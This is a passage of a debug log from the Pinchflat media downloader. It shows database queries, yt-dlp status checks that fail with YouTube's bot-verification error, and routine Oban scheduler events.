m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:11.777 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:11.778 [debug] QUERY OK source="media_items" db=0.5ms idle=0.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 18:55:11.778 [debug] QUERY OK source="media_items" db=0.6ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 18:55:11.779 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 18:55:11.779 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:11.779 [debug] QUERY OK source="media_metadata" db=0.2ms idle=1.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 18:55:11.780 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:11.780 [debug] QUERY OK source="settings" db=0.3ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:11.780 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:11.781 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:11.781 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:11.781 [debug] Running yt-dlp command for action: get_downloadable_status 18:55:11.781 [debug] Running yt-dlp command for action: get_downloadable_status 18:55:11.782 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:11.782 [debug] QUERY OK source="settings" db=0.2ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:11.782 [debug] QUERY OK source="settings" db=0.2ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:11.782 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:11.783 [debug] QUERY OK source="settings" db=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:11.783 [debug] QUERY OK source="settings" db=0.3ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:11.783 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d8/b3/d8b33f10f1319338ad6379fa7a32e1bf3d3c43560fa2383d9b06a6e29af8dd5e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:55:11.783 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/48/10/4810b7beaaf5daf3490d4f00f262e23897f3cd5348b45810737de4ef8bd4b7bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:55:13.843 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/d8/b3/d8b33f10f1319338ad6379fa7a32e1bf3d3c43560fa2383d9b06a6e29af8dd5e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:55:13.843 [error] yt-dlp download error for media item #11511: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:13.843 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] D2bWh5wTlZ0: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:13.844 [info] {"args":{"id":11511},"id":1705,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2068547,"event":"job:stop","queue_time":773496,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:13.851 [info] {"args":{"id":12518},"id":1707,"meta":{},"system_time":1774824913851208871,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:13.851 [debug] QUERY OK source="media_items" db=0.2ms idle=161.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 18:55:13.851 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:55:13.852 [debug] QUERY OK source="sources" db=0.2ms idle=162.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:13.852 [debug] QUERY OK source="media_profiles" db=0.1ms idle=162.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:13.853 [debug] QUERY OK source="media_items" db=0.3ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 18:55:13.853 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 18:55:13.854 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:13.854 [debug] QUERY OK source="settings" db=0.2ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:13.855 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:13.855 [debug] Running yt-dlp command for action: get_downloadable_status 18:55:13.855 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:13.856 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:13.856 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:13.856 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/fe/4ffe851f7e730bf52ee586ed15970858a78efbc9577a7478affe27d3c7b8b349.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:55:14.168 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/48/10/4810b7beaaf5daf3490d4f00f262e23897f3cd5348b45810737de4ef8bd4b7bb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:55:14.168 [error] yt-dlp download error for media item #12001: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:14.169 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] d-WdUYdOdHY: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:14.169 [info] {"args":{"id":12001},"id":1706,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2393773,"event":"job:stop","queue_time":773496,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:15.960 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4f/fe/4ffe851f7e730bf52ee586ed15970858a78efbc9577a7478affe27d3c7b8b349.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:55:15.960 [error] yt-dlp download error for media item #12518: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:15.961 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:15.961 [info] {"args":{"id":12518},"id":1707,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2109923,"event":"job:stop","queue_time":2850477,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:17.110 [info] {"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:47.111 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.657 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:56:17.113 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:47.114 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.658 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:57:17.116 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:47.117 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.659 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:58:17.118 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:47.119 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.660 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:59:17.120 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:47.121 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.661 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:00:17.122 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:47.124 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.662 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:01:17.125 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:47.126 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.663 [info] {"source":"oban","duration":299,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:02:17.127 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:47.128 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.664 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:03:17.129 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:47.130 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.665 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:04:17.131 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:47.133 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.666 [info] {"source":"oban","duration":301,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:05:17.134 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:47.135 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.667 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:06:17.137 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:47.138 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.668 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:07:17.139 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:47.140 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.670 [info] {"source":"oban","duration":298,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:08:17.141 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:47.142 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.670 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:09:17.143 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:47.144 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.671 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:10:17.145 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:47.147 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.672 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:11:17.148 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:47.149 [info] 